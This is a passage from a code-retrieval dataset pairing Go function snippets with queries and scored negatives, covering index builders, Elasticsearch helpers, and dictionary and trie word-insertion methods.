nil {\\n\\t\\t\\t\\tnewErr.error = err.Error()\\n\\t\\t\\t\\treturn localVarHTTPResponse, newErr\\n\\t\\t\\t}\\n\\t\\t\\tnewErr.model = v\\n\\t\\t}\\n\\t\\treturn localVarHTTPResponse, newErr\\n\\t}\\n\\n\\treturn localVarHTTPResponse, nil\\n}\",\n \"func NewIndexBuilder() *IndexBuilder {\\n\\treturn &IndexBuilder{\\n\\t\\tcontentPostings: make(map[ngram][]uint32),\\n\\t\\tnamePostings: make(map[ngram][]uint32),\\n\\t\\tbranches: make(map[string]int),\\n\\t}\\n}\",\n \"func (ci *createIndex) ApplyOptions() Actionable {\\n\\tci.options = ci.context.Options().(*options.CreateIndexOptions)\\n\\n\\tci.indexer.SetOptions(&golastic.IndexOptions{Timeout: ci.options.TimeoutInSeconds()})\\n\\n\\treturn ci\\n}\",\n \"func generateIndex(path string, templatePath string) (lo string) {\\n homeDir, hmErr := user.Current()\\n checkErr(hmErr)\\n var lines []string\\n var layout string\\n if templatePath == \\\"\\\" {\\n layout = randFromFile(homeDir.HomeDir + \\\"/go/src/git.praetorianlabs.com/mars/sphinx/bslayouts\\\")\\n imgOne := randFile(path + \\\"/img\\\")\\n imgOneStr := \\\"imgOne: .\\\" + imgOne.Name()\\n imgTwo := randFile(path + \\\"/img\\\")\\n imgTwoStr := \\\"imgTwo: .\\\" + imgTwo.Name()\\n imgThree := randFile(path + \\\"/img\\\")\\n imgThreeStr := \\\"imgThree: .\\\" + imgThree.Name()\\n imgFour := randFile(path + \\\"/img\\\")\\n imgFourStr := \\\"imgFour: .\\\" + imgFour.Name()\\n imgsStr := imgOneStr + \\\"\\\\n\\\" + imgTwoStr + \\\"\\\\n\\\" + imgThreeStr + \\\"\\\\n\\\" + imgFourStr\\n\\n lines = append(lines, \\\"---\\\")\\n lines = append(lines, \\\"layout: \\\" + layout)\\n lines = append(lines, imgsStr)\\n lines = append(lines, \\\"title: \\\" + randFromFile(path + \\\"/titles\\\"))\\n title := randFromFile(path + \\\"/titles\\\")\\n lines = append(lines, \\\"navTitle: \\\" + title)\\n lines = append(lines, \\\"heading: \\\" + title)\\n lines = append(lines, \\\"subheading: \\\" + randFromFile(path + \\\"/subheading\\\"))\\n lines = append(lines, \\\"aboutHeading: About Us\\\")\\n lines = append(lines, generateServices(path + \\\"/services\\\"))\\n lines = append(lines, generateCategories(path + \\\"/categories\\\"))\\n lines = append(lines, \\\"servicesHeading: Our offerings\\\")\\n lines = append(lines, \\\"contactDesc: Contact Us Today!\\\")\\n lines = append(lines, \\\"phoneNumber: \\\" + randFromFile(homeDir.HomeDir + \\\"/go/src/git.praetorianlabs.com/mars/sphinx/phone-num\\\"))\\n lines = append(lines, \\\"email: \\\" + randFromFile(homeDir.HomeDir + \\\"/go/src/git.praetorianlabs.com/mars/sphinx/emails\\\"))\\n lines = append(lines, \\\"---\\\")\\n lines = append(lines, \\\"\\\\n\\\")\\n lines = append(lines, randFromFile(path + \\\"/content\\\"))\\n } else {\\n template, err := os.Open(templatePath)\\n checkErr(err)\\n scanner := bufio.NewScanner(template)\\n for scanner.Scan() {\\n lines = append(lines, scanner.Text())\\n }\\n }\\n\\n writeTemplate(homeDir.HomeDir + \\\"/go/src/git.praetorianlabs.com/mars/sphinx/index.md\\\", lines)\\n\\n return layout\\n}\",\n \"func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\\n\\n\\tid := uuid.Must(uuid.NewV4()).String()\\n\\tjsonData := jsonDocument(vehicleid, latitude, longitude)\\n\\n\\tctx := context.Background()\\n\\tdoc, err := client.Index().\\n\\t\\tIndex(os.Getenv(\\\"ELASTICSEARCH_INDEX\\\")).\\n\\t\\tType(os.Getenv(\\\"ELASTICSEARCH_TYPE\\\")).\\n\\t Id(id).\\n\\t BodyString(jsonData).\\n\\t Do(ctx)\\n\\tcommon.CheckError(err)\\n\\tlog.Printf(\\\"Indexed geolocation %s to index %s, type %s\\\\n\\\", doc.Id, doc.Index, doc.Type)\\n\\treturn nil\\n}\",\n \"func New(callback Processor) *Document {\\n\\treturn &Document{callback: callback}\\n}\",\n \"func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\\n\\tparams := r.URL.Query()\\n\\tcollection := params.Get(\\\"collection\\\")\\n\\n\\tif collection == \\\"\\\" {\\n\\t\\trespondWithError(w, r, \\\"Collection query parameter is required\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif !s.Exists(collection) {\\n\\t\\trespondWithError(w, r, \\\"Collection does not exist\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tbytes, err := ioutil.ReadAll(r.Body)\\n\\n\\tif err != nil {\\n\\t\\trespondWithError(w, r, \\\"Error reading body\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(bytes) == 0 {\\n\\t\\trespondWithError(w, r, \\\"Error document missing\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tvar doc document\\n\\terr = json.Unmarshal(bytes, &doc)\\n\\tif err != nil {\\n\\t\\trespondWithError(w, r, \\\"Error parsing document JSON\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(doc.Id) == 0 {\\n\\t\\trespondWithError(w, r, fmt.Sprintf(\\\"Error document id is required, not found in: %v\\\", string(bytes)))\\n\\t\\treturn\\n\\t}\\n\\n\\tif len(doc.Fields) == 0 {\\n\\t\\trespondWithError(w, r, \\\"Error document is missing fields\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\td := search.NewDocument()\\n\\td.Id = doc.Id\\n\\tfor k, v := range doc.Fields {\\n\\t\\td.Fields[k] = &search.Field{Value: v}\\n\\t}\\n\\n\\ts.Index(collection, d)\\n\\trespondWithSuccess(w, r, \\\"Success, document indexed\\\")\\n}\",\n \"func BuildInvertedIndexWithMultipleWriters(scanner *bufio.Scanner, threads int) map[string][]int {\\n\\tvar index sync.Map\\n\\tre := regexp.MustCompile(`([a-z]|[A-Z])+`)\\n\\tdocumentIndex := 0\\n\\tch := make(chan Word)\\n\\tvar wgReaders, wgWriters, wgSorters sync.WaitGroup\\n\\n\\t// read in each file one at a time\\n\\tfor scanner.Scan() {\\n\\t\\tfile, err := os.Open(scanner.Text())\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Println(\\\"ERROR: Could not find file: \\\" + scanner.Text())\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\n\\t\\t// read sub file and fire off separate reader goroutines for the file\\n\\t\\tdocument := bufio.NewScanner(file)\\n\\t\\tgo reader(document, documentIndex, re, ch, &wgReaders)\\n\\t\\twgReaders.Add(1)\\n\\t\\tdocumentIndex++\\n\\t}\\n\\n\\t// build channels for writers\\n\\tchs := make([]chan Word, threads)\\n\\tfor i := 0; i < threads; i++ {\\n\\t\\tchs[i] = make(chan Word)\\n\\t}\\n\\n\\t// start sorter goroutines\\n\\tfor i := 0; i < threads; i++ {\\n\\t\\tgo sorter(ch, chs, &wgSorters)\\n\\t\\twgSorters.Add(1)\\n\\t}\\n\\n\\t// start writer goroutines\\n\\tfor i := 0; i < threads; i++ {\\n\\t\\tgo writer(chs[i], &index, &wgWriters)\\n\\t\\twgWriters.Add(1)\\n\\t}\\n\\n\\twgReaders.Wait() // wait for the readers to finish\\n\\tclose(ch)\\n\\n\\twgSorters.Wait() // wait for the sorters to finish\\n\\tfor i := 0; i < threads; i++ {\\n\\t\\tclose(chs[i])\\n\\t}\\n\\n\\twgWriters.Wait() // wait for the writers to finish\\n\\treturn toMap(&index)\\n}\",\n \"func NewUniqueIndexWithOptions(o ...option.Option) index.Index {\\n\\topts := &option.Options{}\\n\\tfor _, opt := range o {\\n\\t\\topt(opts)\\n\\t}\\n\\n\\tu := &Unique{\\n\\t\\tcaseInsensitive: opts.CaseInsensitive,\\n\\t\\tindexBy: opts.IndexBy,\\n\\t\\ttypeName: opts.TypeName,\\n\\t\\tfilesDir: opts.FilesDir,\\n\\t\\tindexBaseDir: path.Join(opts.DataDir, \\\"index.cs3\\\"),\\n\\t\\tindexRootDir: path.Join(path.Join(opts.DataDir, \\\"index.cs3\\\"), strings.Join([]string{\\\"unique\\\", opts.TypeName, opts.IndexBy}, \\\".\\\")),\\n\\t\\tcs3conf: &Config{\\n\\t\\t\\tProviderAddr: opts.ProviderAddr,\\n\\t\\t\\tDataURL: opts.DataURL,\\n\\t\\t\\tDataPrefix: opts.DataPrefix,\\n\\t\\t\\tJWTSecret: opts.JWTSecret,\\n\\t\\t\\tServiceUser: opts.ServiceUser,\\n\\t\\t},\\n\\t\\tdataProvider: dataProviderClient{\\n\\t\\t\\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\\n\\t\\t\\tclient: http.Client{\\n\\t\\t\\t\\tTransport: http.DefaultTransport,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\n\\treturn u\\n}\",\n \"func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\\n\\tw = SplitForIndexing(idiom.Title, true)\\n\\tw = append(w, fmt.Sprintf(\\\"%d\\\", idiom.Id))\\n\\twTitle = w\\n\\n\\twLead = SplitForIndexing(idiom.LeadParagraph, true)\\n\\tw = append(w, wLead...)\\n\\t// ExtraKeywords as not as important as Title, rather as important as Lead\\n\\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\\n\\twLead = append(wLead, wKeywords...)\\n\\tw = append(w, wKeywords...)\\n\\n\\tfor i := range idiom.Implementations {\\n\\t\\timpl := &idiom.Implementations[i]\\n\\t\\twImpl := impl.ExtractIndexableWords()\\n\\t\\tw = append(w, wImpl...)\\n\\t}\\n\\n\\treturn w, wTitle, wLead\\n}\",\n \"func SavingIndex(addr string, iName string, size int, t int, o string) {\\n\\tlog.SetOutput(os.Stdout)\\n\\n\\t_, err := os.Stat(o)\\n\\tif !os.IsNotExist(err) {\\n\\t\\tlog.SetOutput(os.Stderr)\\n\\t\\tlog.Println(\\\"The file already exists.\\\")\\n\\t\\tos.Exit(0)\\n\\t}\\n\\n\\tcfg := elasticsearch.Config{\\n\\t\\tAddresses: []string{\\n\\t\\t\\taddr,\\n\\t\\t},\\n\\t}\\n\\tes, err := elasticsearch.NewClient(cfg)\\n\\tif err != nil {\\n\\t\\tlog.SetOutput(os.Stderr)\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tcnt := indices.GetDocCount(es, iName)\\n\\tif cnt != 0 {\\n\\t\\tcnt = cnt/size + 1\\n\\t} else {\\n\\t\\tlog.SetOutput(os.Stderr)\\n\\t\\tlog.Println(\\\"The document does not exist in the target index.\\\")\\n\\t\\tos.Exit(0)\\n\\t}\\n\\n\\teg, ctx := errgroup.WithContext(context.Background())\\n\\n\\tchRes := make(chan map[string]interface{}, 10)\\n\\tchResDone := make(chan struct{})\\n\\tchDoc := make(chan []map[string]string, 10)\\n\\n\\tvar scrollID string\\n\\n\\tscrollID, err = getScrollID(es, iName, size, t, chRes)\\n\\tif err != nil {\\n\\t\\tlog.SetOutput(os.Stderr)\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tvar mu1 sync.Mutex\\n\\n\\tfor i := 0; i < cnt; i++ {\\n\\t\\teg.Go(func() error {\\n\\t\\t\\tselect {\\n\\t\\t\\tcase <-ctx.Done():\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\tdefault:\\n\\t\\t\\t\\tmu1.Lock()\\n\\t\\t\\t\\tdefer mu1.Unlock()\\n\\t\\t\\t\\terr := getScrollRes(es, iName, scrollID, t, chRes, chResDone)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\treturn nil\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\\n\\n\\teg.Go(func() error {\\n\\t\\tselect {\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\treturn nil\\n\\t\\tcase <-chResDone:\\n\\t\\t\\tclose(chRes)\\n\\t\\t\\treturn nil\\n\\t\\t}\\n\\t})\\n\\n\\teg.Go(func() error {\\n\\t\\tselect {\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\treturn nil\\n\\t\\tdefault:\\n\\t\\t\\tdefer close(chDoc)\\n\\t\\t\\treturn processing.GetDocsData(chRes, chDoc)\\n\\t\\t}\\n\\t})\\n\\n\\tvar mu2 sync.Mutex\\n\\n\\teg.Go(func() error {\\n\\t\\tselect {\\n\\t\\tcase <-ctx.Done():\\n\\t\\t\\treturn nil\\n\\t\\tdefault:\\n\\t\\t\\tmu2.Lock()\\n\\t\\t\\tdefer mu2.Unlock()\\n\\t\\t\\treturn saveDocToFile(o, chDoc)\\n\\t\\t}\\n\\t})\\n\\n\\tif err := eg.Wait(); err != nil {\\n\\t\\tlog.SetOutput(os.Stderr)\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\tdeleteScrollID(es, scrollID)\\n\\n\\tlog.Println(\\\"The index was saved successfully.\\\")\\n}\",\n \"func (s *BasePlSqlParserListener) EnterCreate_index(ctx *Create_indexContext) {}\",\n \"func (i *SGIndex) createIfNeeded(bucket *base.CouchbaseBucketGoCB, useXattrs bool, numReplica uint) error {\\n\\n\\tif i.isXattrOnly() && !useXattrs {\\n\\t\\treturn nil\\n\\t}\\n\\n\\tindexName := i.fullIndexName(useXattrs)\\n\\n\\texists, _, metaErr := bucket.GetIndexMeta(indexName)\\n\\tif metaErr != nil {\\n\\t\\treturn metaErr\\n\\t}\\n\\tif exists {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t// Create index\\n\\tindexExpression := replaceSyncTokensIndex(i.expression, useXattrs)\\n\\tfilterExpression := replaceSyncTokensIndex(i.filterExpression, useXattrs)\\n\\n\\tvar options *base.N1qlIndexOptions\\n\\t// We want to pass nil options unless one or more of the WITH elements are required\\n\\tif numReplica > 0 || i.shouldIndexTombstones(useXattrs) {\\n\\t\\toptions = &base.N1qlIndexOptions{\\n\\t\\t\\tNumReplica: numReplica,\\n\\t\\t\\tIndexTombstones: i.shouldIndexTombstones(useXattrs),\\n\\t\\t}\\n\\t}\\n\\n\\tsleeper := base.CreateDoublingSleeperFunc(\\n\\t\\t11, //MaxNumRetries approx 10 seconds total retry duration\\n\\t\\t5, //InitialRetrySleepTimeMS\\n\\t)\\n\\n\\t//start a retry loop to create index,\\n\\tworker := func() (shouldRetry bool, err error, value interface{}) {\\n\\t\\terr = bucket.CreateIndex(indexName, indexExpression, filterExpression, options)\\n\\t\\tif err != nil {\\n\\t\\t\\tbase.Warn(\\\"Error creating index %s: %v - will retry.\\\", indexName, err)\\n\\t\\t}\\n\\t\\treturn err != nil, err, nil\\n\\t}\\n\\n\\tdescription := fmt.Sprintf(\\\"Attempt to create index %s\\\", indexName)\\n\\terr, _ := base.RetryLoop(description, worker, sleeper)\\n\\n\\tif err != nil {\\n\\t\\treturn pkgerrors.Wrapf(err, \\\"Error installing Couchbase index: %v\\\", indexName)\\n\\t}\\n\\n\\t// Wait for created index to come online\\n\\treturn bucket.WaitForIndexOnline(indexName)\\n}\",\n \"func NewNoOp() *NoOpVectorizer {\\n\\treturn &NoOpVectorizer{}\\n}\",\n \"func NewTruncIndex(ids []string) (idx *TruncIndex) {\\n\\tidx = &TruncIndex{\\n\\t\\tids: make(map[string]struct{}),\\n\\n\\t\\t// Change patricia max prefix per node length,\\n\\t\\t// because our len(ID) always 64\\n\\t\\ttrie: patricia.NewTrie(patricia.MaxPrefixPerNode(64)),\\n\\t}\\n\\tfor _, id := range ids {\\n\\t\\t_ = idx.addID(id) // Ignore invalid IDs. Duplicate IDs are not a problem.\\n\\t}\\n\\treturn\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.6705663","0.5386313","0.53282356","0.5206519","0.5121852","0.51062375","0.50377345","0.5033443","0.49098578","0.48843887","0.48720723","0.47793865","0.47390732","0.4717504","0.46784076","0.46512693","0.46339545","0.45791924","0.4545754","0.4444426","0.44236764","0.4415274","0.44116905","0.4409784","0.44026816","0.43883038","0.43683508","0.43583462","0.43566763","0.4341429","0.43397","0.4327843","0.43215662","0.43122664","0.4302278","0.4300223","0.42972806","0.42940125","0.42934397","0.42869085","0.4238405","0.42339456","0.42310104","0.42300433","0.4226181","0.42245722","0.42209485","0.4213849","0.42103946","0.420299","0.42016795","0.41976112","0.41953477","0.41908312","0.41872564","0.418467","0.41810605","0.41749886","0.4169748","0.4169263","0.41641432","0.4152335","0.41491583","0.4143525","0.41369718","0.4134356","0.41303837","0.41251144","0.4123487","0.4122737","0.41199645","0.41180462","0.41131544","0.4111134","0.4105933","0.40976542","0.40960887","0.4091421","0.40847257","0.40780848","0.40777704","0.40717342","0.4068026","0.40584117","0.4057985","0.4056353","0.40560034","0.40540707","0.4053457","0.40476602","0.4047619","0.40461105","0.40421116","0.40372163","0.40363973","0.403534","0.40309358","0.40267357","0.40211993","0.40174305"],"string":"[\n \"0.6705663\",\n \"0.5386313\",\n \"0.53282356\",\n \"0.5206519\",\n \"0.5121852\",\n \"0.51062375\",\n \"0.50377345\",\n \"0.5033443\",\n \"0.49098578\",\n \"0.48843887\",\n \"0.48720723\",\n \"0.47793865\",\n \"0.47390732\",\n \"0.4717504\",\n \"0.46784076\",\n \"0.46512693\",\n \"0.46339545\",\n \"0.45791924\",\n \"0.4545754\",\n \"0.4444426\",\n \"0.44236764\",\n \"0.4415274\",\n \"0.44116905\",\n \"0.4409784\",\n \"0.44026816\",\n \"0.43883038\",\n \"0.43683508\",\n \"0.43583462\",\n \"0.43566763\",\n \"0.4341429\",\n \"0.43397\",\n \"0.4327843\",\n \"0.43215662\",\n \"0.43122664\",\n \"0.4302278\",\n \"0.4300223\",\n \"0.42972806\",\n \"0.42940125\",\n \"0.42934397\",\n \"0.42869085\",\n \"0.4238405\",\n \"0.42339456\",\n \"0.42310104\",\n \"0.42300433\",\n \"0.4226181\",\n \"0.42245722\",\n \"0.42209485\",\n \"0.4213849\",\n \"0.42103946\",\n \"0.420299\",\n \"0.42016795\",\n \"0.41976112\",\n \"0.41953477\",\n \"0.41908312\",\n \"0.41872564\",\n \"0.418467\",\n \"0.41810605\",\n \"0.41749886\",\n \"0.4169748\",\n \"0.4169263\",\n \"0.41641432\",\n \"0.4152335\",\n \"0.41491583\",\n \"0.4143525\",\n \"0.41369718\",\n \"0.4134356\",\n \"0.41303837\",\n \"0.41251144\",\n \"0.4123487\",\n \"0.4122737\",\n \"0.41199645\",\n \"0.41180462\",\n \"0.41131544\",\n \"0.4111134\",\n \"0.4105933\",\n \"0.40976542\",\n \"0.40960887\",\n \"0.4091421\",\n \"0.40847257\",\n \"0.40780848\",\n \"0.40777704\",\n \"0.40717342\",\n \"0.4068026\",\n \"0.40584117\",\n \"0.4057985\",\n \"0.4056353\",\n \"0.40560034\",\n \"0.40540707\",\n \"0.4053457\",\n \"0.40476602\",\n \"0.4047619\",\n \"0.40461105\",\n \"0.40421116\",\n \"0.40372163\",\n \"0.40363973\",\n \"0.403534\",\n \"0.40309358\",\n \"0.40267357\",\n \"0.40211993\",\n \"0.40174305\"\n]"},"document_score":{"kind":"string","value":"0.81068856"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106195,"cells":{"query":{"kind":"string","value":"add inserts the provided word into the dictionary if it does not already exist."},"document":{"kind":"string","value":"func (d *dictionary) add(word string) tokenID {\n\tif idx := d.getIndex(word); idx != unknownIndex {\n\t\treturn idx\n\t}\n\t// token IDs start from 1, 0 is reserved for the invalid ID\n\tidx := tokenID(len(d.words) + 1)\n\td.words[idx] = word\n\td.indices[word] = idx\n\treturn idx\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (this *WordDictionary) AddWord(word string) {\n \n}","func (d Dictionary) Add(word, def string) error {\n\t_, err := d.Search(word)\n\n\tswitch err {\n\tcase errNotFound:\n\t\td[word] = def\n\tcase nil:\n\t\treturn errWordExist\n\t}\n\treturn nil\n}","func (d Dictionary) Add(word, def string) error {\n\t_, err := d.Search(word)\n\tif err != nil {\n\t\td[word] = def\n\t\treturn nil\n\t}\n\tfmt.Println(err)\n\treturn errIsExist\n}","func (d Dictionary) Add(word, def string) error {\r\n\t_, err := d.Search(word)\r\n\tswitch err {\r\n\tcase errNotFound: //단어 없으면\r\n\t\td[word] = def // 단어 추가\r\n\tcase nil: // 단어 있으면\r\n\t\treturn errWordExists //단어 존재한다고 에러메시지 반환\r\n\t}\r\n\treturn nil // 단어 추가하고 nil 반환\r\n}","func (d Dictionary) Add(word, def string) error {\n\n\t// [if style]\n\t_, err := d.Search(word)\n\n\tif err == errNotFound {\n\t\td[word] = def\n\t} else if err == nil {\n\t\treturn errWordExists\n\t}\n\n\treturn nil\n\n\t// [switch style]\n\t/*\n\t\t_, err := d.Search(word)\n\n\t\tswitch err {\n\t\tcase errNotFound:\n\t\t\td[word] = def\n\t\tcase nil:\n\t\t\treturn errWordExists\n\t\t}\n\n\t\treturn nil\n\t*/\n}","func (r Dictionary) Add(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\tr[word] = definition\n\tcase nil:\n\t\treturn ErrKeyWordDuplicate\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}","func (this *WordDictionary) AddWord(word string) {\n\tp := &this.root\n\tfor i := 0; i < len(word); i++ {\n\t\tj := word[i] - 'a'\n\t\tif p.children[j] == nil {\n\t\t\tp.children[j] = new(trieNode)\n\t\t}\n\t\tp = p.children[j]\n\t}\n\tp.exist = true\n}","func addWord(words map[string]int) {\n\n\treader := r.NewReader(os.Stdin)\n\n\t// Get a kewyowrd\n\tf.Println(\"Give a word:\")\n\tf.Println(\"Warning, giving a prexisting word will update the value\")\n\ttext, err := reader.ReadString('\\n')\n\n\t// Hate this repetitious if err return\n\tif err != nil {\n\t\tf.Println(err)\n\t\treturn\n\t}\n\n\tkey := ss.Replace(text, \"\\n\", \"\", -1)\n\tf.Printf(\"[%q] recieved...\\n\", key)\n\n\t// Get a value\n\tval := getVal(words)\n\tif val == 0 {\n\t\treturn\n\t}\n\n\t// Maps are always passed by reference conveniently\n\twords[key] = val\n\n}","func (this *WordDictionary) AddWord(word string) {\n\tcur := this.root\n\n\tfor _, w := range []rune(word) {\n\t\tc := string(w)\n\t\tif cur.next[c] == nil {\n\t\t\tcur.next[c] = getNode()\n\t\t}\n\t\tcur = cur.next[c]\n\t}\n\n\tcur.isWord = true\n}","func (this *WordDictionary) AddWord(word string) {\n\tnode := this.root\n\tfor _, c := range word {\n\t\tif node.next[c-'a'] != nil {\n\t\t\tnode = node.next[c-'a']\n\t\t} else {\n\t\t\tnewNode := TrieNode{}\n\t\t\tnewNode.next = make([]*TrieNode, 26)\n\t\t\tnode.next[c-'a'] = &newNode\n\t\t\tnode = &newNode\n\t\t}\n\t}\n\tnode.finished = true\n}","func addWord(root *TrieNode, s string) bool {\n\tnd := root\n\tfor i := range s {\n\t\tif _, ok := nd.move[s[i]]; !ok {\n\t\t\tnd.move[s[i]] = &TrieNode{move: make(map[uint8]*TrieNode)}\n\t\t}\n\t\tnd = nd.move[s[i]]\n\t}\n\tok := !nd.final\n\tnd.final = true\n\treturn ok\n}","func (this *WordDictionary) AddWord(word string) {\n\tvar nowChar *WordDictionary = this\n\tvar next *WordDictionary\n\tfor i, char := range word {\n\t\tcharIdx := char - a\n\t\tnext = nowChar.Nexts[charIdx]\n\t\tif next == nil {\n\t\t\twordDict := Constructor()\n\t\t\tnowChar.Nexts[charIdx] = &wordDict\n\t\t\tnext = &wordDict\n\t\t}\n\t\tnowChar = next\n\t\tif i == len(word)-1 {\n\t\t\tnowChar.HasTerminate = true\n\t\t}\n\t}\n}","func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}","func (cMap *MyStruct) AddWord(word string){\n\tcMap.adding <- word\n}","func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}","func (trie *Trie) AddWord(word string) {\n\tcurrentNode := trie.Root\n\tfor _, ch := range word {\n\t\tcurrentNode = currentNode.AddAndGetChild(ch)\n\t}\n\tcurrentNode.MarkAsTerminal()\n}","func (this *Trie) Insert(word string) {\n\tthis.dict[word] = true\n\tfor i := 0; i < len(word); i++ {\n\t\tthis.dictPrefix[word[:i]] = true\n\t}\n\n}","func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\n\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\n\tif ret < 0 {\n\t\treturn 0, false\n\t}\n\treturn ret, true\n}","func (this *Trie) Insert(word string) {\n node := this\n \n for _, v := range word {\n if !node.containsKey(v) {\n node.put(v, &Trie{})\n }\n \n node = node.get(v)\n }\n \n node.isEnd = true\n}","func (t *Trie) Add(word string, data interface{}) (Node, error) {\n\tif len(word) == 0 {\n\t\treturn nil, fmt.Errorf(\"no string to add\")\n\t}\n\n\trunes := []rune(word)\n\treturn t.addAtNode(t.Root, runes, data)\n}","func (this *Trie) Insert(word string) {\n node := this.root\n for _, r := range word {\n _, existed := node.children[r]\n if !existed {\n node.children[r] = newNode()\n }\n node = node.children[r]\n }\n node.isWord = true\n}","func (t *Trie) InsertWord(word string) {\n\trunner := t.Root\n\n\tfor _, currChar := range word {\n\t\tif _, ok := runner.Children[currChar]; !ok {\n\t\t\trunner.Children[currChar] = NewNode()\n\t\t}\n\t\trunner = runner.Children[currChar]\n\t}\n\n\trunner.IsWord = true\n}","func (this *Trie) Insert(word string) {\n\tthis.words[len(word)] = append(this.words[len(word)], word)\n}","func (this *Trie) Insert(word string) {\n\n\tfor _,v:=range word{\n\t\tif _,ok:=this.next[string(v)];!ok{\n\t\t\tthis.next[string(v)] = &Trie{\n\t\t\t\tisword:false,next:make(map[string]*Trie,0),\n\t\t\t}\n\t\t}\n\t\tthis,_ = this.next[string(v)]\n\t}\n\tif this.isword==false{\n\t\tthis.isword = true\n\t}\n}","func (tp *Trie) Add(word []rune) int {\n\ts := tp.Init\n\tfor _, c := range word {\n\t\tif _, ok := s.Success[c]; !ok {\n\t\t\tns := tp.NewState()\n\t\t\ts.Success[c] = ns\n\t\t}\n\t\ts = s.Success[c]\n\t}\n\n\ts.Accept = true\n\n\treturn s.ID\n}","func (d Dictionary) Add(key, value string) error {\n\t_, err := d.Search(key)\n\tswitch err {\n\tcase ErrNotFound:\n\t\td[key] = value\n\tcase nil:\n\t\treturn ErrKeyExists\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}","func (this *Trie) Insert(word string) {\n\tt := this\n\tfor i := range word {\n\t\tif t.trie == nil {\n\t\t\tt.trie = make([]node, 26)\n\t\t}\n\n\t\tt.trie[word[i]-'a'].exist = true\n\t\tif i == len(word)-1 {\n\t\t\tt.trie[word[i]-'a'].word = true\n\t\t}\n\t\tt = &t.trie[word[i]-'a'].trie\n\t}\n}","func addWord(root *TrieNode, word string, idx int) {\n for i := 0; i < len(word); i++ {\n if isPalindrome(word[i:]) {\n root.match[idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n root.nodes[offset] = &TrieNode{idx:-1, match: make(map[int]bool)} \n }\n root = root.nodes[offset]\n }\n root.idx = idx\n root.match[idx] = true // \"\" is the rest of any string, and is also a palindrome.\n}","func (d *Library) Add(o Word, t Word) {\n\tif false == d.Exists(o) {\n\t\tdict := &Dictionary{Translations: map[Word][]Word{}}\n\t\td.Append(o.Locale, dict)\n\t}\n\n\ttr := d.Dictionaries[o.Locale]\n\ttr.Add(o, t)\n}","func (this *Trie) Insert(word string) {\n\tptr := this\n\tfor _, r := range word {\n\t\tif _, ok := ptr.Kids[r]; !ok {\n\t\t\tptr.Kids[r] = &Trie{Exists: false, Kids: make(map[rune]*Trie, int('z')-int('a')+1)}\n\t\t}\n\t\tptr = ptr.Kids[r]\n\t}\n\tptr.Exists = true\n}","func (service *SynonymService) AddWords(word *vm.Word) (*[]vm.Word, int64) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t// Check if the word already exists\n\tif _, ok := service.Synonyms[word.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\n\t}\n\n\t// If the word did not exist before register it and return the empty initialised slice of words\n\twords := []vm.Word{*word}\n\tservice.Synonyms[word.Word] = &words\n\n\treturn &words, 0\n\n}","func (this *Trie) Insert(word string) {\n\thead := this\n\tfor e := range word {\n\t\tif head.data[word[e]-'a'] == nil {\n\t\t\thead.data[word[e]-'a'] = &Trie{}\n\t\t}\n\t\thead = head.data[word[e]-'a']\n\t}\n\thead.now = true\n}","func (l *SLexicon) AddSemantic(word string, semantic string) {\n\tl.Lock() // one at a time\n\tdefer l.Unlock()\n\n\tl.Semantic[word] = strings.ToLower(semantic)\n\tl.testAndAddCompoundWord(word) // add this item to the compound word set\n}","func (trie *Trie) Add(word string) *Trie {\n\tletters, node, i := []rune(word), trie, 0\n\tn := len(letters)\n\n\tfor i < n {\n\t\tif exists, value := node.hasChild(letters[i]); exists {\n\t\t\tnode = value\n\t\t} else {\n\t\t\tnode = node.addChild(letters[i])\n\t\t}\n\n\t\ti++\n\n\t\tif i == n {\n\t\t\tnode.isLeaf = true\n\t\t}\n\t}\n\n\treturn node\n}","func (service *SynonymService) AddSynonym(word vm.Word, synonym vm.Word) (*[]vm.Word, int) {\n\n\t// 